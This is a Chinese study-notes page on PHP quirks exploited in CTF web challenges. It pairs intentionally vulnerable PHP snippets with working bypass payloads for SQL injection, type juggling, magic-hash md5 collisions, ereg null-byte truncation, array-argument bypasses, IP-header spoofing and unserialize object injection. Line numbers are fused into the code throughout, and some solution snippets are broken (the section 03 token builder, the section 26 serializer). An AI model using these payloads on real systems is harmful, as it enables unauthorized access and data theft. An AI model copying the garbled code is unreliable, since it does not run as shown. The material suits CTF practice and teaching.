CTF中常见PHP特性学习笔记
01 extract变量覆盖
code
1<?php2$flag='xxx';3extract($_GET);4 if(isset($shiyan))5 {6 $content=trim(file_get_contents($flag));7 if($shiyan==$content)8 {9 echo'ctf{xxx}';10 }11 else12 {13 echo'Oh.no';14 }15 }16?>writeup
资料:
1http://localhost/php_bugs/extract1.php?shiyan=&flag=1
02 绕过trim函数过滤
code
1<?php2
3$info = "";4$req = [];5$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";6
7ini_set("display_error", false); //为一个配置选项设置值8error_reporting(0); //关闭所有PHP错误报告9
10if(!isset($_GET['number'])){11 header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt12
13 die("have a fun!!"); //die — 等同于 exit()14
15}16
17foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式18 foreach($global_var as $key => $value) {19 $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)20 is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串21 }22}23
24
25function is_palindrome_number($number) {26 $number = strval($number); //strval — 获取变量的字符串值27 $i = 0;28 $j = strlen($number) - 1; //strlen — 获取字符串长度29 while($i < $j) {30 if($number[$i] !== $number[$j]) {31 return false;32 }33 $i++;34 $j--;35 }36 return true;37}38
39
40if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串41{42
43 $info="sorry, you cann't input a number!";44
45}46elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值47{48
49 $info = "number must be equal to it's integer!! ";50
51}52else53{54
55 $value1 = intval($req["number"]);56 $value2 = intval(strrev($req["number"]));57
58 if($value1!=$value2){59 $info="no, this is not a palindrome number!";60 }61 else62 {63
64 if(is_palindrome_number($req["number"])){65 $info = "nice! {$value1} is a palindrome number!";66 }67 else68 {69 $info=$flag;70 }71 }72
73}74
75echo $info;writeup
由于is_numeric没有检测\0(%00),所以导致is_numeric($_REQUEST['number'])为False,成功跳过检测。

由于trim函数没有过滤\f(%0c),而intval函数而跳过\f(%0c),导致$value1和$value2都为相等,进入到is_palindrome_number函数成功通过$number[$i] !== $number[$j]检测返回false,最终进入到获取$flag最后的else里。

1http://localhost/php_bugs/02.php?number=%0c1资料
03 多重加密
code
1<?php2 include 'common.php';3 $requset = array_merge($_GET, $_POST, $_COOKIE);4 //把一个或多个数组合并为一个数组5 class db6 {7 public $where;8 function __wakeup()9 {10 if(!empty($this->where))11 {12 $this->select($this->where);13 }14 }15 function select($where)16 {17 $sql = mysql_query('select * from user where '.$where);18 //函数执行一条 MySQL 查询。19 return @mysql_fetch_array($sql);20 //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false21 }22 }23
24 if(isset($requset['token']))25 //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。26 {27 $login = unserialize(gzuncompress(base64_decode($requset['token'])));28 //gzuncompress:进行字符串压缩29 //unserialize: 将已序列化的字符串还原回 PHP 的值30
31 $db = new db();32 $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');33 //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。34
35 if($login['user'] === 'ichunqiu')36 {37 echo $flag;38 }else if($row['pass'] !== $login['pass']){39 echo 'unserialize injection!!';40 }else{41 echo "(╯‵□′)╯︵┴─┴ ";42 }43 }44 // else{45 // header('Location: index.php?error=1');46 // }47
48?>writeup
1<?php2$arr = array(['user'] === 'ichunqiu');3$token = base64_encode(gzcompress(serialize($arr)));4print_r($token);5?>6eJxLtDK0qs60MrBOAuJaAB5uBBQ=7http://127.0.0.1/php_bugs/03.php?token=eJxLtDK0qs60MrBOAuJaAB5uBBQ=04 SQL注入WITH ROLLUP绕过
code
1<?php2error_reporting(0);3
4if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {5 echo '<form action="" method="post">'."<br/>";6 echo '<input name="uname" type="text"/>'."<br/>";7 echo '<input name="pwd" type="text"/>'."<br/>";8 echo '<input type="submit" />'."<br/>";9 echo '</form>'."<br/>";10 echo '<!--source: source.txt-->'."<br/>";11 die;12}13
14function AttackFilter($StrKey,$StrValue,$ArrReq){15 if (is_array($StrValue)){16
17//检测变量是否是数组18
19 $StrValue=implode($StrValue);20
21//返回由数组元素组合成的字符串22
23 }24 if (preg_match("/".$ArrReq."/is",$StrValue)==1){25
26//匹配成功一次后就会停止匹配27
28 print "水可载舟,亦可赛艇!";29 exit();30 }31}32
33$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";34foreach($_POST as $key=>$value){35
36//遍历数组37
38 AttackFilter($key,$value,$filter);39}40
41$con = mysql_connect("localhost","root","root");42if (!$con){43 die('Could not connect: ' . mysql_error());44}45$db="test";46mysql_select_db($db, $con);47
48//设置活动的 MySQL 数据库49
50$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";51echo $sql;52echo "</br>";53$query = mysql_query($sql);54
55//执行一条 MySQL 查询56var_dump(mysql_num_rows($query));57echo "</br>";58if (mysql_num_rows($query) == 1) {59
60//返回结果集中行的数目61
62 $key = mysql_fetch_array($query);63
64//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false65
66 if($key['pwd'] == $_POST['pwd']) {67 print "CTF{XXXXXX}";68 }else{69 print "亦可赛艇!";70 }71}else{72 print "一颗赛艇!";73}74mysql_close($con);75?>writeup
资料:
1pwd&uname=admin' group by pwd with rollup limit 1 offset 1#--

05 ereg正则%00截断
code
1<?php2
3$flag = "flag";4
5if (isset ($_GET['password']))6{7 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)8 {9 echo '<p>You password must be alphanumeric</p>';10 }11 else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)12 {13 if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置14 {15 die('Flag: ' . $flag);16 }17 else18 {19 echo('<p>*-* have not been found</p>');20 }21 }22 else23 {24 echo '<p>Invalid password</p>';25 }26 }27?>writeup
资料:
1http://localhost/php_bugs/05.php?password=1e9%00*-*06 strcmp比较字符串
code
1<?php2$flag = "flag";3if (isset($_GET['a'])) {4 if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。5
6 //比较两个字符串(区分大小写)7 die('Flag: '.$flag);8 else9 print 'No';10}11
12?>writeup
1int strcmp ( string $str1 , string $str2 )2// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。在PHP官方文档中,说明了strcmp函数在5.2版本和5.3版本的区别。
Note a difference between 5.2 and 5.3 versions
echo (int)strcmp(‘pending’,array()); will output -1 in PHP 5.2.16 (probably in all versions prior 5.3) but will output 0 in PHP 5.3.3
Of course, you never need to use array as a parameter in string comparisions.
5.3之前版本如果传入数组参数strcmp函数将会返回-1:

在5.3.3版本之后使用这个函数传入数组参数比较会返回0,也就是判定其相等,后来PHP官方后面的版本中修复了这个漏洞,当传入非字符串参数导致报错的时函数不返回任何值,也就是返回NULL,但是由于这里==弱类型判断,导致NULL==0为 bool(true)。
1http://localhost/php_bugs/06.php?a[]=1
07 sha()函数比较绕过
code
1<?php2
3$flag = "flag";4
5if (isset($_GET['name']) and isset($_GET['password']))6{7 var_dump($_GET['name']);8 echo "</br>";9 var_dump($_GET['password']);10 var_dump(sha1($_GET['name']));11 var_dump(sha1($_GET['password']));12 if ($_GET['name'] == $_GET['password'])13 echo '<p>Your password can not be your name!</p>';14 else if (sha1($_GET['name']) === sha1($_GET['password']))15 die('Flag: '.$flag);16 else17 echo '<p>Invalid password.</p>';18}19else20 echo '<p>Login first!</p>';21?>writeup
由于sha1()函数和md5()函数在处理传入参数为数组时会报警并都返回NULL,构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])和else if (sha1($_GET['name']) === sha1($_GET['password']))检测。
1http://localhost/php_bugs/07.php?name[]=1&password[]=2
08 SESSION验证绕过
1<html>2<head>3 <title>Get flag</title>4</head>5<body>6
7<?php8session_start();9
10require 'flag.php';11
12if (isset ($_GET['password'])) {13 if ($_GET['password'] == $_SESSION['password'])14 die ('Flag: '.$flag);15 else16 print '<p class="alert">Wrong guess.</p>';17}18
19// Unpredictable seed20mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));21?>22
23<section class="login">24 <ul class="list">25 <?php26 for ($i=0; $i<3; $i++)27 print '<li>' . mt_rand (0, 0xffffff) . '</li>';28 $_SESSION['password'] = mt_rand (0, 0xffffff);29 ?>30 </ul>31
32 <form method="get">33 <input type="text" required name="password" placeholder="Next number" /><br/>34 <input type="submit"/>35 </form>36</section>37</body>38</html>writeup
关键判断语句if ($_GET['password'] == $_SESSION['password']),可以手动删除请求时的cookies,使$_SESSION['password']字段为NULL,并使传入password参数为NULL。
1http://localhost/php_bugs/08.php?password=

资料:
09 密码md5比较绕过
code
1<?php2
3//配置数据库4if($_POST[user] && $_POST[pass]) {5 $conn = mysql_connect("localhost", "root", "root");6 mysql_select_db("test") or die("Could not select database");7 if ($conn->connect_error) {8 die("Connection failed: " . mysql_error($conn));9}10
11//赋值12
13$user = $_POST[user];14$pass = md5($_POST[pass]);15
16//sql语句17
18$sql = "select pwd from test where user='$user'";19$query = mysql_query($sql);20if (!$query) {21 printf("Error: %s\n", mysql_error($conn));22 exit();23}24$row = mysql_fetch_array($query, MYSQL_ASSOC);25
26 if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {27
28//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。29
30
31 echo "<p>Logged in! Key:************** </p>";32}33else {34 echo("<p>Log in failure!</p>");35
36 }37}38?>writeup

1?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456资料:
10 urldecode二次编码绕过
code
1<?php2if(eregi("hackerDJ",$_GET[id])) {3 echo("<p>not allowed!</p>");4 exit();5}6
7$_GET[id] = urldecode($_GET[id]);8if($_GET[id] == "hackerDJ")9{10 echo "<p>Access granted!</p>";11 echo "<p>flag: {*****************} </p>";12}13?>h的URL编码为:%68,二次编码为%2568,绕过
1http://localhost/php_bugs/10.php?id=%2568ackerDJ资料:
11 sql闭合绕过
code
1<?php2if($_POST[user] && $_POST[pass]) {3 $conn = mysql_connect("localhost", "root", "root");4 mysql_select_db("test") or die("Could not select database");5 if ($conn->connect_error) {6 die("Connection failed: " . mysql_error($conn));7}8$user = $_POST[user];9$pass = md5($_POST[pass]);10
11//exp:pass=1&user=admin')#12//sql:select user from test where (user='admin')#13
14$sql = "select user from test where (user='$user') and (pwd='$pass')";15echo $sql;16$query = mysql_query($sql);17if (!$query) {18 printf("Error: %s\n", mysql_error($conn));19 exit();20}21$row = mysql_fetch_array($query, MYSQL_ASSOC);22//echo $row["pwd"];23 if($row['user']=="admin") {24 echo "<p>Logged in! Key: *********** </p>";25 }26
27 if($row['user'] != "admin") {28 echo("<p>You are not admin!</p>");29 }30}31
32?>构造exp闭合绕过
pass=1&user=admin')#
12 X-Forwarded-For绕过指定IP地址
code
1<?php2function GetIP(){3if(!empty($_SERVER["HTTP_CLIENT_IP"]))4 $cip = $_SERVER["HTTP_CLIENT_IP"];5else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))6 $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];7else if(!empty($_SERVER["REMOTE_ADDR"]))8 $cip = $_SERVER["REMOTE_ADDR"];9else10 $cip = "0.0.0.0";11return $cip;12}13
14$GetIPs = GetIP();15if ($GetIPs=="1.1.1.1"){16echo "Great! Key is *********";17}18else{19echo "错误!你的IP不在访问列表之内!";20}21?>writeup
1HTTP`头添加`X-Forwarded-For:1.1.1.113 md5加密相等绕过
code
1<?php2
3$md51 = md5('QNKCDZO');4$a = @$_GET['a'];5$md52 = @md5($a);6if(isset($a)){7if ($a != 'QNKCDZO' && $md51 == $md52) {8 echo "flag{*****************}";9} else {10 echo "false!!!";11}}12else{echo "please input a";}13
14?>writeup
1http://localhost/php_bugs/13.php?a=240610708==对比的时候会进行数据转换,根据PHP手册的描述:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。其中0e是科学计数法,因为涉及到数字内容,所以就会转换为数值,而0e830400451993494058024219903391转换为数值也就是0*(10^830400451993494058024219903391) = 0,因此只需找到生成的MD5值类似0exxxxxxxxx的字符串即可。
1md5('240610708'); // 0e4620974319065090195629887368542md5('QNKCDZO'); // 0e83040045199349405802421990339114 intval函数向下取整
code
1<?php2if($_GET[id]) {3 $conn = mysql_connect("localhost", "root", "root");4 mysql_select_db("test") or die("Could not select database");5 if ($conn->connect_error) {6 die("Connection failed: " . mysql_error($conn));7 }8 $id = intval($_GET[id]);9 echo $id;10 $query = @mysql_fetch_array(mysql_query("select flag from ctf where id='$id'"));11 echo $_GET[id];12 if ($_GET[id]==1024) {13 echo "<p>no! try again</p>";14 }15 else{16 echo($query[flag]);17 }18}19?>1024.1绕过
writeup

资料:
15 strpos数组绕过NULL与ereg正则%00截断
code
1<?php2
3$flag = "flag";4
5 if (isset ($_GET['nctf'])) {6 if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)7 echo '必须输入数字才行';8 else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)9 die('Flag: '.$flag);10 else11 echo '骚年,继续努力吧啊~';12 }13
14 ?>writeup
- 方法一:
既要是纯数字,又要有
’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]=那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求. - 方法二:
字符串截断,利用
ereg()的NULL截断漏洞,绕过正则过滤http://localhost/php_bugs/16.php?nctf=1%00#biubiubiu错误 需将#编码http://localhost/php_bugs/16.php?nctf=1%00%23biubiubiu正确
16 SQL注入or绕过
code
1<?php2
3#GOAL: login as admin,then get the flag;4error_reporting(0);5require 'db.inc.php';6
7function clean($str){8 if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置9 $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。10 }11 return htmlentities($str, ENT_QUOTES);12}13
14$username = @clean((string)$_GET['username']);15$password = @clean((string)$_GET['password']);16
17//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';18
19$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';20$result=mysql_query($query);21if(!$result || mysql_num_rows($result) < 1){22 die('Invalid password!');23}24
25echo $flag;26
27?>writeup
1$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';2?username=admin\'\' AND pass=\''or 1 #&password=17 密码md5比较绕过
code
1<?php2
3if($_POST[user] && $_POST[pass]) {4 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);5 mysql_select_db(SAE_MYSQL_DB);6 $user = $_POST[user];7 $pass = md5($_POST[pass]);8 $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));9 if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {10
11 //strcasecmp:0 - 如果两个字符串相等12
13 echo "<p>Logged in! Key: flag{**************} </p>";14 }15 else {16 echo("<p>Log in failure!</p>");17 }18}19
20?>writeup
1//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #1?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=12345618 md5()函数===使用数组绕过
code
1<?php2error_reporting(0);3$flag = 'flag{test}';4if (isset($_GET['username']) and isset($_GET['password'])) {5 if ($_GET['username'] == $_GET['password'])6 print 'Your password can not be your username.';7 else if (md5($_GET['username']) === md5($_GET['password']))8 die('Flag: '.$flag);9 else10 print 'Invalid password';11}12?>writeup
若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:
http://localhost/php_bugs/18.php?username=QNKCDZO&password=240610708
因为==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了
也可以使用数组绕过
http://localhost/php_bugs/18.php?username[]=1&password[]=2
但此处是===,只能用数组绕过,PHP对数组进行hash计算都会得出null的空值
http://localhost/php_bugs/18.php?username[]=1&password[]=2
19 ereg()函数strpos() 函数用数组返回NULL绕过
code
1<?php2
3$flag = "flag";4
5if (isset ($_GET['password'])) {6 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)7 echo 'You password must be alphanumeric';8 else if (strpos ($_GET['password'], '--') !== FALSE)9 die('Flag: ' . $flag);10 else11 echo 'Invalid password';12}13?>writeup
- 方法一:
ereg()正则函数可以用
%00截断http://localhost/php_bugs/19.php?password=1%00-- - 方法二:
将
password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULL和FALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==,NULL!==FALSE,条件成立,拿到flaghttp://localhost/php_bugs/19.php?password[]=
20 十六进制与数字比较
code
1<?php2
3error_reporting(0);4function noother_says_correct($temp)5{6 $flag = 'flag{test}';7 $one = ord('1'); //ord — 返回字符的 ASCII 码值8 $nine = ord('9'); //ord — 返回字符的 ASCII 码值9 $number = '3735929054';10 // Check all the input characters!11 for ($i = 0; $i < strlen($number); $i++)12 {13 // Disallow all the digits!14 $digit = ord($temp{$i});15 if ( ($digit >= $one) && ($digit <= $nine) )16 {17 // Aha, digit not allowed!18 return "flase";19 }20 }21 if($number == $temp)22 return $flag;23}24$temp = $_GET['password'];25echo noother_says_correct($temp);26
27?>writeup
这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag
1echo dechex ( 3735929054 ); // 将3735929054转为16进制2结果为:deadc0de构造:
http://localhost/php_bugs/20.php?password=0xdeadc0de
21 数字验证正则绕过
code
1<?php2
3error_reporting(0);4$flag = 'flag{test}';5if ("POST" == $_SERVER['REQUEST_METHOD'])6{7 $password = $_POST['password'];8 if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配9 {10 echo 'Wrong Format';11 exit;12 }13 while (TRUE)14 {15 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';16 if (6 > preg_match_all($reg, $password, $arr))17 break;18 $c = 0;19 $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母20 foreach ($ps as $pt)21 {22 if (preg_match("/[[:$pt:]]+/", $password))23 $c += 1;24 }25 if ($c < 3) break;26 //>=3,必须包含四种类型三种与三种以上27 if ("42" == $password) echo $flag;28 else echo 'Wrong password';29 exit;30 }31}32
33?>writeup
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
意为必须是12个字符以上(非空格非TAB之外的内容)
1$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';2if (6 > preg_match_all($reg, $password, $arr))意为匹配到的次数要大于6次
1$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母2foreach ($ps as $pt)3{4 if (preg_match("/[[:$pt:]]+/", $password))5 $c += 1;6}7if ($c < 3) break;意为必须要有大小写字母,数字,字符内容三种与三种以上
1if ("42" == $password) echo $flag;意为必须等于42
答案:
142.00e+000000000002或3420.000000000e-1资料:
22 弱类型整数大小比较绕过
code
1<?php2
3error_reporting(0);4$flag = "flag{test}";5
6$temp = $_GET['password'];7is_numeric($temp)?die("no numeric"):NULL;8if($temp>1336){9 echo $flag;10}11
12?>writeup
is_numeric($temp)?die("no numeric"):NULL;
不能是数字
1if($temp>1336){2 echo $flag;3}又要大于1336
利用PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。如果输入一个1337a这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出flag。
1http://localhost/php_bugs/22.php?password=1337a23 md5函数验证绕过
code
1<?php2
3error_reporting(0);4$flag = 'flag{test}';5$temp = $_GET['password'];6if(md5($temp)==0){7 echo $flag;8}9
10?>11if(md5($temp)==0)`12要使`md5`函数加密值为`0writeup
- 方法一:
使
password不赋值,为NULL,NULL == 0为truehttp://localhost/php_bugs/23.php?password=http://localhost/php_bugs/23.php - 方法二:
经过MD5运算后,为
0e******的形式,其结果为0*10的n次方,结果还是零http://localhost/php_bugs/23.php?password=240610708http://localhost/php_bugs/23.php?password=QNKCDZO
24 md5函数true绕过注入
code
1<?php2error_reporting(0);3$link = mysql_connect('localhost', 'root', 'root');4if (!$link) {5 die('Could not connect to MySQL: ' . mysql_error());6}7// 选择数据库8$db = mysql_select_db("security", $link);9if(!$db)10{11 echo 'select db error';12 exit();13}14// 执行sql15$password = $_GET['password'];16$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";17var_dump($sql);18// SELECT * FROM users WHERE password = '276f722736c95d99e921722cf9ed621c'19$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );20$row1 = mysql_fetch_row($result);21var_dump($row1);22mysql_close($link);23?>writeup
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)
将md5后的hex转换成字符串
如果包含'or'xxx这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'xxx'就绕过了
字符串:ffifdyop
1md5`后,`276f722736c95d99e921722cf9ed621c`2`hex`转换成字符串:`'or'6<trash>构造:?password=ffifdyop
资料:
25 switch没有break 字符与0比较绕过
code
1<?php2
3// error_reporting(0);4
5if (isset($_GET['which']))6{7 $which = $_GET['which'];8 switch ($which)9 {10 case 0:11 print('arg');12 // break;13 case 1:14 case 2:15 require_once $which.'.php';16 echo $flag;17 break;18 default:19 echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);20 break;21 }22}23
24?>writeup
让我们包含当前目录中的flag.php,给which为flag,这里会发现在case 0和case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php
PHP中非数字开头字符串和数字 0比较==都返回True
因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0了,然后再和另一个0比大小,结果自然为ture。注意:如果那个字符串是以数字开头的,如6ldb,它还是可以转为数字6的,然后和0比较就不等了(但是和6比较就相等)
if($str==0) 判断 和 if( intval($str) == 0 ) 是等价的
1可以验证:2<?php3$str="s6s";4if($str==0){ echo "返回了true.";}5?>要字符串与数字判断不转类型方法有:
- 方法一:
$str="字符串";if($str===0){ echo "返回了true.";} - 方法二:
$str="字符串";if($str=="0"){ echo "返回了true.";} ,
此题构造:http://localhost/php_bugs/25.php?which=flag
资料:
26 unserialize()序列化
code
1<!-- 题目:http://web.jarvisoj.com:32768 -->2
3<?php4 require_once('shield.php');5 $x = new Shield();6 isset($_GET['class']) && $g = $_GET['class'];7 if (!empty($g)) {8 $x = unserialize($g);9 }10 echo $x->readfile();11?>12<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>13
14<!-- shield.php -->15
16<?php17 //flag is in pctf.php18 class Shield {19 public $file;20 function __construct($filename = '') {21 $this -> file = $filename;22 }23
24 function readfile() {25 if (!empty($this->file) && stripos($this->file,'..')===FALSE26 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {27 return @file_get_contents($this->file);28 }29 }30 }31?>32
33<!-- showimg.php -->34<?php35 $f = $_GET['img'];36 if (!empty($f)) {37 $f = base64_decode($f);38 if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE39 //stripos — 查找字符串首次出现的位置(不区分大小写)40 && stripos($f,'pctf')===FALSE) {41 readfile($f);42 } else {43 echo "File not found!";44 }45 }46?>writeup
说明flag在pctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class
,index.php中Shield类的实例$X = unserialize($g),$g = $_GET['class'];,$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。
可以进行序列化操作:
1<?php2
3require_once('shield.php');4$x = class Shield();5$g = serialize($x);6echo $g;7
8?>9
10<!-- shield.php -->11<?php12 //flag is in pctf.php13 class Shield {14 public $file;15 function __construct($filename = 'pctf.php') {16 $this -> file = $filename;17 }18
19 function readfile() {20 if (!empty($this->file) && stripos($this->file,'..')===FALSE21 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {22 return @file_get_contents($this->file);23 }24 }25 }26?>得到:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
部分信息可能已经过时